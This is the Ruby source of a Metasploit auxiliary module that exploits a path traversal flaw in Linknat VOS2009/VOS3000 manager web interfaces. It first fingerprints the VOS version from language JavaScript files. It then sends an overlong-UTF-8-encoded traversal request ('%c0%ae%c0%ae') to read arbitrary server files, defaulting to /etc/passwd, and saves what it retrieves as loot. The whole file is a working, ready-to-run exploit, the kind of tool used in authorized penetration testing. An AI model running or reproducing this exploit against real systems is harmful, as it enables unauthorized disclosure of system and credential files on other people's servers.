94 lines
2.6 KiB
Ruby
94 lines
2.6 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Auxiliary
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include Msf::Auxiliary::Report
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include Msf::Exploit::Remote::HttpClient
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include Msf::Auxiliary::Scanner
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Linknat Vos Manager Traversal',
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'Description' => %q(
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This module attempts to test whether a file traversal vulnerability
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is present in version of linknat vos2009/vos3000
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),
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'References' => [
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['URL', 'http://www.linknat.com/'],
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['URL', 'http://www.wooyun.org/bugs/wooyun-2010-0145458']
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],
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'Author' => ['Nixawk'],
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'License' => MSF_LICENSE))
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register_options(
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[
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Opt::RPORT(80),
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OptString.new('TARGETURI', [true, 'The path of Linknat Vos Manager (/chs/, /cht/, /eng/)', '/eng/']),
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OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']),
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OptInt.new('TRAVERSAL_DEPTH', [true, 'Traversal depth', 5])
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], self.class)
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end
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def vos_uri(path)
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full_uri =~ %r{/$} ? "#{full_uri}#{path}" : "#{full_uri}/#{path}"
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end
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def vos_version
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case target_uri.to_s
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when /chs/i
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js_uri = vos_uri('js/lang_zh_cn.js')
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when /cht/i
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js_uri = vos_uri('js/lang_zh_tw.js')
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when /eng/i
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js_uri = vos_uri('js/lang_en_us.js')
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else
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print_warning("#{full_uri} - Please identify VOS version manually")
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return
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end
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res = send_request_cgi('uri' => js_uri)
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return unless res
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vprint_status("#{js_uri} - HTTP/#{res.proto} #{res.code} #{res.message}")
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return unless res.code == 200
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res.body =~ /s\[8\] = \"([^"]*)\"/m ? major = $1 : major = nil
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res.body =~ /s\[169\] = \"[^:]*: ([^"\\]*)\"/m ? minor = $1 : minor = nil
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"#{major} #{minor}"
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end
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def run_host(ip)
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version = vos_version
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unless version
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print_error("#{full_uri} - Failed to identify Linknat VOS")
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return
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end
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traversal = '/%c0%ae%c0%ae' * datastore['TRAVERSAL_DEPTH']
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filename = datastore['FILEPATH']
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uri = normalize_uri(target_uri.path, '..', traversal, filename)
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res = send_request_cgi(
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'method' => 'GET',
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'uri' => uri
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)
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if res && res.code == 200
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path = store_loot(
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version,
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'text/plain',
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ip,
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res.body,
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filename)
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print_good("#{full_uri} - File saved in: #{path}")
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else
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print_error("#{full_uri} - Nothing was downloaded")
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end
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end
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end
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